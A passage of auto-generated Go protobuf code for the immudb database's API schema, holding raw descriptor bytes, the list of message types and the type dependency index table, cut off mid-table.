0x6f, 0x64, 0x65, 0x3e, 0x73, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x61, 0x66, 0x65, 0x73, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x20, 0x65, 0x78, 0x70, 0x65, 0x63, 0x74, 0x20, 0x3c, 0x75, 0x3e, 0x62, 0x61, 0x73, 0x65, 0x36, 0x34, 0x2d, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x3c, 0x2f, 0x75, 0x3e, 0x20, 0x69, 0x6e, 0x70, 0x75, 0x74, 0x73, 0x2e, 0x22, 0x04, 0x2f, 0x61, 0x70, 0x69, 0x5a, 0x59, 0x0a, 0x57, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x4d, 0x08, 0x02, 0x12, 0x38, 0x41, 0x75, 0x74, 0x68, 0x65, 0x6e, 0x74, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x2c, 0x20, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, 0x65, 0x64, 0x20, 0x62, 0x79, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, 0x72, 0x3a, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, 0x72, 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x0d, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x00, 0x5a, 0x2b, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( file_schema_proto_rawDescOnce sync.Once file_schema_proto_rawDescData = file_schema_proto_rawDesc ) func file_schema_proto_rawDescGZIP() []byte { file_schema_proto_rawDescOnce.Do(func() { file_schema_proto_rawDescData = protoimpl.X.CompressGZIP(file_schema_proto_rawDescData) }) return file_schema_proto_rawDescData } var file_schema_proto_enumTypes = make([]protoimpl.EnumInfo, 3) var file_schema_proto_msgTypes = make([]protoimpl.MessageInfo, 136) var file_schema_proto_goTypes = []interface{}{ (EntryTypeAction)(0), // 0: immudb.schema.EntryTypeAction (PermissionAction)(0), // 1: immudb.schema.PermissionAction (TxMode)(0), // 2: immudb.schema.TxMode (*Key)(nil), // 3: immudb.schema.Key (*Permission)(nil), // 4: immudb.schema.Permission (*User)(nil), // 5: immudb.schema.User (*SQLPrivilege)(nil), // 6: immudb.schema.SQLPrivilege (*UserList)(nil), // 7: immudb.schema.UserList (*CreateUserRequest)(nil), // 8: immudb.schema.CreateUserRequest (*UserRequest)(nil), // 9: immudb.schema.UserRequest (*ChangePasswordRequest)(nil), // 10: immudb.schema.ChangePasswordRequest (*LoginRequest)(nil), // 11: immudb.schema.LoginRequest (*LoginResponse)(nil), // 12: immudb.schema.LoginResponse (*AuthConfig)(nil), // 13: immudb.schema.AuthConfig (*MTLSConfig)(nil), // 14: immudb.schema.MTLSConfig (*OpenSessionRequest)(nil), // 15: immudb.schema.OpenSessionRequest (*OpenSessionResponse)(nil), // 16: immudb.schema.OpenSessionResponse (*Precondition)(nil), // 17: immudb.schema.Precondition (*KeyValue)(nil), // 18: immudb.schema.KeyValue (*Entry)(nil), // 19: immudb.schema.Entry (*Reference)(nil), // 20: immudb.schema.Reference (*Op)(nil), // 21: immudb.schema.Op (*ExecAllRequest)(nil), // 22: immudb.schema.ExecAllRequest (*Entries)(nil), // 23: immudb.schema.Entries (*ZEntry)(nil), // 24: immudb.schema.ZEntry (*ZEntries)(nil), // 25: immudb.schema.ZEntries (*ScanRequest)(nil), // 26: immudb.schema.ScanRequest (*KeyPrefix)(nil), // 27: immudb.schema.KeyPrefix (*EntryCount)(nil), // 28: immudb.schema.EntryCount (*Signature)(nil), // 29: immudb.schema.Signature (*TxHeader)(nil), // 30: immudb.schema.TxHeader (*TxMetadata)(nil), // 31: immudb.schema.TxMetadata (*LinearProof)(nil), // 32: immudb.schema.LinearProof (*LinearAdvanceProof)(nil), // 33: immudb.schema.LinearAdvanceProof (*DualProof)(nil), // 34: immudb.schema.DualProof (*DualProofV2)(nil), // 35: immudb.schema.DualProofV2 (*Tx)(nil), // 36: immudb.schema.Tx (*TxEntry)(nil), // 37: immudb.schema.TxEntry (*KVMetadata)(nil), // 38: immudb.schema.KVMetadata (*Expiration)(nil), // 39: immudb.schema.Expiration (*VerifiableTx)(nil), // 40: immudb.schema.VerifiableTx (*VerifiableTxV2)(nil), // 41: immudb.schema.VerifiableTxV2 (*VerifiableEntry)(nil), // 42: immudb.schema.VerifiableEntry (*InclusionProof)(nil), // 43: immudb.schema.InclusionProof (*SetRequest)(nil), // 44: immudb.schema.SetRequest (*KeyRequest)(nil), // 45: immudb.schema.KeyRequest (*KeyListRequest)(nil), // 46: immudb.schema.KeyListRequest (*DeleteKeysRequest)(nil), // 47: immudb.schema.DeleteKeysRequest (*VerifiableSetRequest)(nil), // 48: immudb.schema.VerifiableSetRequest (*VerifiableGetRequest)(nil), // 49: immudb.schema.VerifiableGetRequest (*ServerInfoRequest)(nil), // 50: immudb.schema.ServerInfoRequest (*ServerInfoResponse)(nil), // 51: immudb.schema.ServerInfoResponse (*HealthResponse)(nil), // 52: immudb.schema.HealthResponse (*DatabaseHealthResponse)(nil), // 53: immudb.schema.DatabaseHealthResponse (*ImmutableState)(nil), // 54: immudb.schema.ImmutableState (*ReferenceRequest)(nil), // 55: immudb.schema.ReferenceRequest (*VerifiableReferenceRequest)(nil), // 56: immudb.schema.VerifiableReferenceRequest (*ZAddRequest)(nil), // 57: immudb.schema.ZAddRequest (*Score)(nil), // 58: immudb.schema.Score (*ZScanRequest)(nil), // 59: immudb.schema.ZScanRequest (*HistoryRequest)(nil), // 60: immudb.schema.HistoryRequest (*VerifiableZAddRequest)(nil), // 61: immudb.schema.VerifiableZAddRequest (*TxRequest)(nil), // 62: immudb.schema.TxRequest (*EntriesSpec)(nil), // 63: immudb.schema.EntriesSpec (*EntryTypeSpec)(nil), // 64: immudb.schema.EntryTypeSpec (*VerifiableTxRequest)(nil), // 65: immudb.schema.VerifiableTxRequest (*TxScanRequest)(nil), // 66: immudb.schema.TxScanRequest (*TxList)(nil), // 67: immudb.schema.TxList (*ExportTxRequest)(nil), // 68: immudb.schema.ExportTxRequest (*ReplicaState)(nil), // 69: immudb.schema.ReplicaState (*Database)(nil), // 70: immudb.schema.Database (*DatabaseSettings)(nil), // 71: immudb.schema.DatabaseSettings (*CreateDatabaseRequest)(nil), // 72: immudb.schema.CreateDatabaseRequest (*CreateDatabaseResponse)(nil), // 73: immudb.schema.CreateDatabaseResponse (*UpdateDatabaseRequest)(nil), // 74: immudb.schema.UpdateDatabaseRequest (*UpdateDatabaseResponse)(nil), // 75: immudb.schema.UpdateDatabaseResponse (*DatabaseSettingsRequest)(nil), // 76: immudb.schema.DatabaseSettingsRequest (*DatabaseSettingsResponse)(nil), // 77: immudb.schema.DatabaseSettingsResponse (*NullableUint32)(nil), // 78: immudb.schema.NullableUint32 (*NullableUint64)(nil), // 79: immudb.schema.NullableUint64 (*NullableFloat)(nil), // 80: immudb.schema.NullableFloat (*NullableBool)(nil), // 81: immudb.schema.NullableBool (*NullableString)(nil), // 82: immudb.schema.NullableString (*NullableMilliseconds)(nil), // 83: immudb.schema.NullableMilliseconds (*DatabaseNullableSettings)(nil), // 84: immudb.schema.DatabaseNullableSettings (*ReplicationNullableSettings)(nil), // 85: immudb.schema.ReplicationNullableSettings (*TruncationNullableSettings)(nil), // 86: immudb.schema.TruncationNullableSettings (*IndexNullableSettings)(nil), // 87: immudb.schema.IndexNullableSettings (*AHTNullableSettings)(nil), // 88: immudb.schema.AHTNullableSettings (*LoadDatabaseRequest)(nil), // 89: immudb.schema.LoadDatabaseRequest (*LoadDatabaseResponse)(nil), // 90: immudb.schema.LoadDatabaseResponse (*UnloadDatabaseRequest)(nil), // 91: immudb.schema.UnloadDatabaseRequest (*UnloadDatabaseResponse)(nil), // 92: immudb.schema.UnloadDatabaseResponse (*DeleteDatabaseRequest)(nil), // 93: immudb.schema.DeleteDatabaseRequest (*DeleteDatabaseResponse)(nil), // 94: immudb.schema.DeleteDatabaseResponse (*FlushIndexRequest)(nil), // 95: immudb.schema.FlushIndexRequest (*FlushIndexResponse)(nil), // 96: immudb.schema.FlushIndexResponse (*Table)(nil), // 97: immudb.schema.Table (*SQLGetRequest)(nil), // 98: immudb.schema.SQLGetRequest (*VerifiableSQLGetRequest)(nil), // 99: immudb.schema.VerifiableSQLGetRequest (*SQLEntry)(nil), // 100: immudb.schema.SQLEntry (*VerifiableSQLEntry)(nil), // 101: immudb.schema.VerifiableSQLEntry (*UseDatabaseReply)(nil), // 102: immudb.schema.UseDatabaseReply (*ChangePermissionRequest)(nil), // 103: immudb.schema.ChangePermissionRequest (*ChangeSQLPrivilegesRequest)(nil), // 104: immudb.schema.ChangeSQLPrivilegesRequest (*ChangeSQLPrivilegesResponse)(nil), // 105: immudb.schema.ChangeSQLPrivilegesResponse (*SetActiveUserRequest)(nil), // 106: immudb.schema.SetActiveUserRequest (*DatabaseListResponse)(nil), // 107: immudb.schema.DatabaseListResponse (*DatabaseListRequestV2)(nil), // 108: immudb.schema.DatabaseListRequestV2 (*DatabaseListResponseV2)(nil), // 109: immudb.schema.DatabaseListResponseV2 (*DatabaseInfo)(nil), // 110: immudb.schema.DatabaseInfo (*Chunk)(nil), // 111: immudb.schema.Chunk (*UseSnapshotRequest)(nil), // 112: immudb.schema.UseSnapshotRequest (*SQLExecRequest)(nil), // 113: immudb.schema.SQLExecRequest (*SQLQueryRequest)(nil), // 114: immudb.schema.SQLQueryRequest (*NamedParam)(nil), // 115: immudb.schema.NamedParam (*SQLExecResult)(nil), // 116: immudb.schema.SQLExecResult (*CommittedSQLTx)(nil), // 117: immudb.schema.CommittedSQLTx (*SQLQueryResult)(nil), // 118: immudb.schema.SQLQueryResult (*Column)(nil), // 119: immudb.schema.Column (*Row)(nil), // 120: immudb.schema.Row (*SQLValue)(nil), // 121: immudb.schema.SQLValue (*NewTxRequest)(nil), // 122: immudb.schema.NewTxRequest (*NewTxResponse)(nil), // 123: immudb.schema.NewTxResponse (*ErrorInfo)(nil), // 124: immudb.schema.ErrorInfo (*DebugInfo)(nil), // 125: immudb.schema.DebugInfo (*RetryInfo)(nil), // 126: immudb.schema.RetryInfo (*TruncateDatabaseRequest)(nil), // 127: immudb.schema.TruncateDatabaseRequest (*TruncateDatabaseResponse)(nil), // 128: immudb.schema.TruncateDatabaseResponse (*Precondition_KeyMustExistPrecondition)(nil), // 129: immudb.schema.Precondition.KeyMustExistPrecondition (*Precondition_KeyMustNotExistPrecondition)(nil), // 130: immudb.schema.Precondition.KeyMustNotExistPrecondition (*Precondition_KeyNotModifiedAfterTXPrecondition)(nil), // 131: immudb.schema.Precondition.KeyNotModifiedAfterTXPrecondition nil, // 132: immudb.schema.VerifiableSQLEntry.ColNamesByIdEntry nil, // 133: immudb.schema.VerifiableSQLEntry.ColIdsByNameEntry nil, // 134: immudb.schema.VerifiableSQLEntry.ColTypesByIdEntry nil, // 135: immudb.schema.VerifiableSQLEntry.ColLenByIdEntry nil, // 136: immudb.schema.Chunk.MetadataEntry nil, // 137: immudb.schema.CommittedSQLTx.LastInsertedPKsEntry nil, // 138: immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry (structpb.NullValue)(0), // 139: google.protobuf.NullValue (*emptypb.Empty)(nil), // 140: google.protobuf.Empty } var file_schema_proto_depIdxs = []int32{ 4, // 0: immudb.schema.User.permissions:type_name -> immudb.schema.Permission 6, // 1: immudb.schema.User.sqlPrivileges:type_name -> immudb.schema.SQLPrivilege 5, // 2: immudb.schema.UserList.users:type_name -> immudb.schema.User 129, // 3: immudb.schema.Precondition.keyMustExist:type_name -> immudb.schema.Precondition.KeyMustExistPrecondition 130, // 4: immudb.schema.Precondition.keyMustNotExist:type_name -> immudb.schema.Precondition.KeyMustNotExistPrecondition 131, // 5: immudb.schema.Precondition.keyNotModifiedAfterTX:type_name -> immudb.schema.Precondition.KeyNotModifiedAfterTXPrecondition 38, // 6: immudb.schema.KeyValue.metadata:type_name -> immudb.schema.KVMetadata 20, // 7: immudb.schema.Entry.referencedBy:type_name -> immudb.schema.Reference 38, // 8: immudb.schema.Entry.metadata:type_name -> immudb.schema.KVMetadata 38, // 9: immudb.schema.Reference.metadata:type_name -> immudb.schema.KVMetadata 18, // 10: immudb.schema.Op.kv:type_name -> immudb.schema.KeyValue 57, // 11: immudb.schema.Op.zAdd:type_name -> immudb.schema.ZAddRequest 55, // 12: immudb.schema.Op.ref:type_name -> immudb.schema.ReferenceRequest 21, // 13: immudb.schema.ExecAllRequest.Operations:type_name -> immudb.schema.Op 17, // 14: immudb.schema.ExecAllRequest.preconditions:type_name -> immudb.schema.Precondition 19, // 15: immudb.schema.Entries.entries:type_name -> immudb.schema.Entry 19, // 16: immudb.schema.ZEntry.entry:type_name -> immudb.schema.Entry 24, // 17: immudb.schema.ZEntries.entries:type_name -> immudb.schema.ZEntry 31, // 18: immudb.schema.TxHeader.metadata:type_name -> immudb.schema.TxMetadata 43, // 19: immudb.schema.LinearAdvanceProof.inclusionProofs:type_name -> immudb.schema.InclusionProof 30, // 20: immudb.schema.DualProof.sourceTxHeader:type_name -> immudb.schema.TxHeader 30, // 21: immudb.schema.DualProof.targetTxHeader:type_name -> immudb.schema.TxHeader 32, // 22: immudb.schema.DualProof.linearProof:type_name -> immudb.schema.LinearProof 33, // 23: immudb.schema.DualProof.LinearAdvanceProof:type_name -> immudb.schema.LinearAdvanceProof 30, // 24: immudb.schema.DualProofV2.sourceTxHeader:type_name -> immudb.schema.TxHeader 30, // 25: immudb.schema.DualProofV2.targetTxHeader:type_name -> immudb.schema.TxHeader 30, // 26: immudb.schema.Tx.header:type_name -> immudb.schema.TxHeader 37, // 27: immudb.schema.Tx.entries:type_name -> immudb.schema.TxEntry 19, // 28: immudb.schema.Tx.kvEntries:type_name -> immudb.schema.Entry 24, // 29: immudb.schema.Tx.zEntries:type_name -> immudb.schema.ZEntry 38, // 30: immudb.schema.TxEntry.metadata:type_name -> immudb.schema.KVMetadata 39, // 31: immudb.schema.KVMetadata.expiration:type_name -> immudb.schema.Expiration 36, // 32: immudb.schema.VerifiableTx.tx:type_name -> immudb.schema.Tx 34, // 33: immudb.schema.VerifiableTx.dualProof:type_name -> immudb.schema.DualProof 29, // 34: immudb.schema.VerifiableTx.signature:type_name -> immudb.schema.Signature 36, // 35: immudb.schema.VerifiableTxV2.tx:type_name -> immudb.schema.Tx 35, // 36: immudb.schema.VerifiableTxV2.dualProof:type_name -> immudb.schema.DualProofV2 29, // 37: immudb.schema.VerifiableTxV2.signature:type_name -> immudb.schema.Signature 19, // 38: immudb.schema.VerifiableEntry.entry:type_name -> immudb.schema.Entry 40, // 39: immudb.schema.VerifiableEntry.verifiableTx:type_name -> immudb.schema.VerifiableTx 43, // 40: immudb.schema.VerifiableEntry.inclusionProof:type_name -> immudb.schema.InclusionProof 18, // 41: immudb.schema.SetRequest.KVs:type_name -> immudb.schema.KeyValue 17, // 42: immudb.schema.SetRequest.preconditions:type_name -> immudb.schema.Precondition 44, // 43: immudb.schema.VerifiableSetRequest.setRequest:type_name -> immudb.schema.SetRequest 45, // 44: immudb.schema.VerifiableGetRequest.keyRequest:type_name -> immudb.schema.KeyRequest 29, // 45: immudb.schema.ImmutableState.signature:type_name -> immudb.schema.Signature 17, // 46: immudb.schema.ReferenceRequest.preconditions:type_name -> immudb.schema.Precondition 55, // 47: immudb.schema.VerifiableReferenceRequest.referenceRequest:type_name -> immudb.schema.ReferenceRequest 58, // 48: immudb.schema.ZScanRequest.minScore:type_name -> immudb.schema.Score 58, // 49: immudb.schema.ZScanRequest.maxScore:type_name -> immudb.schema.Score 57, // 50: immudb.schema.VerifiableZAddRequest.zAddRequest:type_name -> immudb.schema.ZAddRequest 63, // 51: immudb.schema.TxRequest.entriesSpec:type_name -> immudb.schema.EntriesSpec 64, // 52: immudb.schema.EntriesSpec.kvEntriesSpec:type_name -> immudb.schema.EntryTypeSpec 64, // 53: immudb.schema.EntriesSpec.zEntriesSpec:type_name -> immudb.schema.EntryTypeSpec 64, // 54: immudb.schema.EntriesSpec.sqlEntriesSpec:type_name -> immudb.schema.EntryTypeSpec 0, // 55: immudb.schema.EntryTypeSpec.action:type_name -> immudb.schema.EntryTypeAction 63, // 56: immudb.schema.VerifiableTxRequest.entriesSpec:type_name -> immudb.schema.EntriesSpec 63, // 57: immudb.schema.TxScanRequest.entriesSpec:type_name -> immudb.schema.EntriesSpec 36, // 58: immudb.schema.TxList.txs:type_name -> immudb.schema.Tx 69, // 59: immudb.schema.ExportTxRequest.replicaState:type_name -> immudb.schema.ReplicaState 84, // 60: immudb.schema.CreateDatabaseRequest.settings:type_name -> immudb.schema.DatabaseNullableSettings 84, // 61: immudb.schema.CreateDatabaseResponse.settings:type_name -> immudb.schema.DatabaseNullableSettings 84, // 62: immudb.schema.UpdateDatabaseRequest.settings:type_name -> immudb.schema.DatabaseNullableSettings 84, // 63: immudb.schema.UpdateDatabaseResponse.settings:type_name -> immudb.schema.DatabaseNullableSettings 84, // 64: immudb.schema.DatabaseSettingsResponse.settings:type_name -> immudb.schema.DatabaseNullableSettings 85, // 65: immudb.schema.DatabaseNullableSettings.replicationSettings:type_name -> immudb.schema.ReplicationNullableSettings 78, // 66: immudb.schema.DatabaseNullableSettings.fileSize:type_name -> immudb.schema.NullableUint32 78, // 67: immudb.schema.DatabaseNullableSettings.maxKeyLen:type_name -> immudb.schema.NullableUint32 78, // 68: immudb.schema.DatabaseNullableSettings.maxValueLen:type_name -> immudb.schema.NullableUint32 78, // 69: immudb.schema.DatabaseNullableSettings.maxTxEntries:type_name -> immudb.schema.NullableUint32 81, // 70: immudb.schema.DatabaseNullableSettings.excludeCommitTime:type_name -> immudb.schema.NullableBool 78, // 71: immudb.schema.DatabaseNullableSettings.maxConcurrency:type_name -> immudb.schema.NullableUint32 78, // 72: immudb.schema.DatabaseNullableSettings.maxIOConcurrency:type_name -> immudb.schema.NullableUint32 78, // 73: immudb.schema.DatabaseNullableSettings.txLogCacheSize:type_name -> immudb.schema.NullableUint32 78, // 74: immudb.schema.DatabaseNullableSettings.vLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 78, // 75: immudb.schema.DatabaseNullableSettings.txLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 78, // 76: immudb.schema.DatabaseNullableSettings.commitLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 87, // 77: immudb.schema.DatabaseNullableSettings.indexSettings:type_name -> immudb.schema.IndexNullableSettings 78, // 78: immudb.schema.DatabaseNullableSettings.writeTxHeaderVersion:type_name -> immudb.schema.NullableUint32 81, // 79: immudb.schema.DatabaseNullableSettings.autoload:type_name -> immudb.schema.NullableBool 78, // 80: immudb.schema.DatabaseNullableSettings.readTxPoolSize:type_name -> immudb.schema.NullableUint32 83, // 81: immudb.schema.DatabaseNullableSettings.syncFrequency:type_name -> immudb.schema.NullableMilliseconds 78, // 82: immudb.schema.DatabaseNullableSettings.writeBufferSize:type_name -> immudb.schema.NullableUint32 88, // 83: immudb.schema.DatabaseNullableSettings.ahtSettings:type_name -> immudb.schema.AHTNullableSettings 78, // 84: immudb.schema.DatabaseNullableSettings.maxActiveTransactions:type_name -> immudb.schema.NullableUint32 78, // 85: immudb.schema.DatabaseNullableSettings.mvccReadSetLimit:type_name -> immudb.schema.NullableUint32 78, // 86: immudb.schema.DatabaseNullableSettings.vLogCacheSize:type_name -> immudb.schema.NullableUint32 86, // 87: immudb.schema.DatabaseNullableSettings.truncationSettings:type_name -> immudb.schema.TruncationNullableSettings 81, // 88: immudb.schema.DatabaseNullableSettings.embeddedValues:type_name -> immudb.schema.NullableBool 81, // 89: immudb.schema.DatabaseNullableSettings.preallocFiles:type_name -> immudb.schema.NullableBool 81, // 90: immudb.schema.ReplicationNullableSettings.replica:type_name -> immudb.schema.NullableBool 82, // 91: immudb.schema.ReplicationNullableSettings.primaryDatabase:type_name -> immudb.schema.NullableString 82, // 92: immudb.schema.ReplicationNullableSettings.primaryHost:type_name -> immudb.schema.NullableString 78, // 93: immudb.schema.ReplicationNullableSettings.primaryPort:type_name -> immudb.schema.NullableUint32 82, // 94: immudb.schema.ReplicationNullableSettings.primaryUsername:type_name -> immudb.schema.NullableString 82, // 95: immudb.schema.ReplicationNullableSettings.primaryPassword:type_name -> immudb.schema.NullableString 81, // 96: immudb.schema.ReplicationNullableSettings.syncReplication:type_name -> immudb.schema.NullableBool 78, // 97: immudb.schema.ReplicationNullableSettings.syncAcks:type_name -> immudb.schema.NullableUint32 78, // 98: immudb.schema.ReplicationNullableSettings.prefetchTxBufferSize:type_name -> immudb.schema.NullableUint32 78, // 99: immudb.schema.ReplicationNullableSettings.replicationCommitConcurrency:type_name -> immudb.schema.NullableUint32 81, // 100: immudb.schema.ReplicationNullableSettings.allowTxDiscarding:type_name -> immudb.schema.NullableBool 81, // 101: immudb.schema.ReplicationNullableSettings.skipIntegrityCheck:type_name -> immudb.schema.NullableBool 81, // 102: immudb.schema.ReplicationNullableSettings.waitForIndexing:type_name -> immudb.schema.NullableBool 83, // 103: immudb.schema.TruncationNullableSettings.retentionPeriod:type_name -> immudb.schema.NullableMilliseconds 83, // 104: immudb.schema.TruncationNullableSettings.truncationFrequency:type_name -> immudb.schema.NullableMilliseconds 78, // 105: immudb.schema.IndexNullableSettings.flushThreshold:type_name -> immudb.schema.NullableUint32 78, // 106: immudb.schema.IndexNullableSettings.syncThreshold:type_name -> immudb.schema.NullableUint32 78, // 107: immudb.schema.IndexNullableSettings.cacheSize:type_name -> immudb.schema.NullableUint32 78, // 108: immudb.schema.IndexNullableSettings.maxNodeSize:type_name -> immudb.schema.NullableUint32 78, // 109: immudb.schema.IndexNullableSettings.maxActiveSnapshots:type_name -> immudb.schema.NullableUint32 79, // 110: immudb.schema.IndexNullableSettings.renewSnapRootAfter:type_name -> immudb.schema.NullableUint64 78, // 111: immudb.schema.IndexNullableSettings.compactionThld:type_name -> immudb.schema.NullableUint32 78, // 112: immudb.schema.IndexNullableSettings.delayDuringCompaction:type_name -> immudb.schema.NullableUint32 78, // 113: immudb.schema.IndexNullableSettings.nodesLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 78, // 114: immudb.schema.IndexNullableSettings.historyLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 78, // 115: immudb.schema.IndexNullableSettings.commitLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 78, // 116: immudb.schema.IndexNullableSettings.flushBufferSize:type_name -> immudb.schema.NullableUint32 80, // 117: immudb.schema.IndexNullableSettings.cleanupPercentage:type_name -> immudb.schema.NullableFloat 78, // 118: immudb.schema.IndexNullableSettings.maxBulkSize:type_name -> immudb.schema.NullableUint32 83, // 119: immudb.schema.IndexNullableSettings.bulkPreparationTimeout:type_name -> immudb.schema.NullableMilliseconds 78, // 120: immudb.schema.AHTNullableSettings.syncThreshold:type_name -> immudb.schema.NullableUint32 78, // 121: immudb.schema.AHTNullableSettings.writeBufferSize:type_name -> immudb.schema.NullableUint32 121, // 122: immudb.schema.SQLGetRequest.pkValues:type_name -> immudb.schema.SQLValue 98, // 123: immudb.schema.VerifiableSQLGetRequest.sqlGetRequest:type_name -> immudb.schema.SQLGetRequest 38, // 124: immudb.schema.SQLEntry.metadata:type_name -> immudb.schema.KVMetadata 100, // 125: immudb.schema.VerifiableSQLEntry.sqlEntry:type_name -> immudb.schema.SQLEntry 40, // 126: immudb.schema.VerifiableSQLEntry.verifiableTx:type_name -> immudb.schema.VerifiableTx 43, // 127: immudb.schema.VerifiableSQLEntry.inclusionProof:type_name -> immudb.schema.InclusionProof 132, // 128: immudb.schema.VerifiableSQLEntry.ColNamesById:type_name -> immudb.schema.VerifiableSQLEntry.ColNamesByIdEntry 133, // 129: immudb.schema.VerifiableSQLEntry.ColIdsByName:type_name -> immudb.schema.VerifiableSQLEntry.ColIdsByNameEntry 134, // 130: immudb.schema.VerifiableSQLEntry.ColTypesById:type_name -> immudb.schema.VerifiableSQLEntry.ColTypesByIdEntry 135, // 131: immudb.schema.VerifiableSQLEntry.ColLenById:type_name -> immudb.schema.VerifiableSQLEntry.ColLenByIdEntry 1, // 132: immudb.schema.ChangePermissionRequest.action:type_name -> immudb.schema.PermissionAction 1, // 133: immudb.schema.ChangeSQLPrivilegesRequest.action:type_name -> immudb.schema.PermissionAction 70, // 134: immudb.schema.DatabaseListResponse.databases:type_name -> immudb.schema.Database 110, // 135: immudb.schema.DatabaseListResponseV2.databases:type_name -> immudb.schema.DatabaseInfo 84, // 136: immudb.schema.DatabaseInfo.settings:type_name -> immudb.schema.DatabaseNullableSettings 136, // 137: immudb.schema.Chunk.metadata:type_name -> immudb.schema.Chunk.MetadataEntry 115, // 138: immudb.schema.SQLExecRequest.params:type_name -> immudb.schema.NamedParam 115, // 139: immudb.schema.SQLQueryRequest.params:type_name -> immudb.schema.NamedParam 121, // 140: immudb.schema.NamedParam.value:type_name -> immudb.schema.SQLValue 117, // 141: immudb.schema.SQLExecResult.txs:type_name -> immudb.schema.CommittedSQLTx 30, // 142: immudb.schema.CommittedSQLTx.header:type_name -> immudb.schema.TxHeader 137, // 143: immudb.schema.CommittedSQLTx.lastInsertedPKs:type_name -> immudb.schema.CommittedSQLTx.LastInsertedPKsEntry 138, // 144: immudb.schema.CommittedSQLTx.firstInsertedPKs:type_name -> immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry 119, // 145: immudb.schema.SQLQueryResult.columns:type_name -> immudb.schema.Column 120, // 146: immudb.schema.SQLQueryResult.rows:type_name -> immudb.schema.Row 121, // 147: immudb.schema.Row.values:type_name -> immudb.schema.SQLValue 139, // 148: immudb.schema.SQLValue.null:type_name -> google.protobuf.NullValue 2, // 149: immudb.schema.NewTxRequest.mode:type_name -> immudb.schema.TxMode 79, // 150: immudb.schema.NewTxRequest.snapshotMustIncludeTxID:type_name -> immudb.schema.NullableUint64 83, // 151: immudb.schema.NewTxRequest.snapshotRenewalPeriod:type_name -> immudb.schema.NullableMilliseconds 121, // 152: immudb.schema.CommittedSQLTx.LastInsertedPKsEntry.value:type_name -> immudb.schema.SQLValue 121, // 153: immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry.value:type_name -> immudb.schema.SQLValue 140, // 154: immudb.schema.ImmuService.ListUsers:input_type -> google.protobuf.Empty 8, // 155: immudb.schema.ImmuService.CreateUser:input_type -> immudb.schema.CreateUserRequest 10, // 156: immudb.schema.ImmuService.ChangePassword:input_type -> immudb.schema.ChangePasswordRequest 103, // 157: immudb.schema.ImmuService.ChangePermission:input_type -> immudb.schema.ChangePermissionRequest 104, // 158: immudb.schema.ImmuService.ChangeSQLPrivileges:input_type -> immudb.schema.ChangeSQLPrivilegesRequest 106, // 159: immudb.schema.ImmuService.SetActiveUser:input_type -> immudb.schema.SetActiveUserRequest 13, // 160: immudb.schema.ImmuService.UpdateAuthConfig:input_type -> immudb.schema.AuthConfig 14, // 161: immudb.schema.ImmuService.UpdateMTLSConfig:input_type -> immudb.schema.MTLSConfig 15, // 162: immudb.schema.ImmuService.OpenSession:input_type -> immudb.schema.OpenSessionRequest 140, // 163: immudb.schema.ImmuService.CloseSession:input_type -> google.protobuf.Empty 140, // 164: immudb.schema.ImmuService.KeepAlive:input_type -> google.protobuf.Empty 122, // 165: immudb.schema.ImmuService.NewTx:input_type -> immudb.schema.NewTxRequest 140, // 166: immudb.schema.ImmuService.Commit:input_type -> google.protobuf.Empty 140, // 167: immudb.schema.ImmuService.Rollback:input_type -> google.protobuf.Empty 113, // 168: immudb.schema.ImmuService.TxSQLExec:input_type -> immudb.schema.SQLExecRequest 114, // 169: immudb.schema.ImmuService.TxSQLQuery:input_type -> immudb.schema.SQLQueryRequest 11, // 170: immudb.schema.ImmuService.Login:input_type -> immudb.schema.LoginRequest 140, // 171: immudb.schema.ImmuService.Logout:input_type -> google.protobuf.Empty 44, // 172: immudb.schema.ImmuService.Set:input_type -> immudb.schema.SetRequest 48, // 173: immudb.schema.ImmuService.VerifiableSet:input_type -> immudb.schema.VerifiableSetRequest 45, // 174: immudb.schema.ImmuService.Get:input_type -> immudb.schema.KeyRequest 49, // 175: immudb.schema.ImmuService.VerifiableGet:input_type -> immudb.schema.VerifiableGetRequest 47, // 176: immudb.schema.ImmuService.Delete:input_type -> immudb.schema.DeleteKeysRequest 46, // 177: immudb.schema.ImmuService.GetAll:input_type -> immudb.schema.KeyListRequest 22, // 178: immudb.schema.ImmuService.ExecAll:input_type -> immudb.schema.ExecAllRequest 26, // 179: 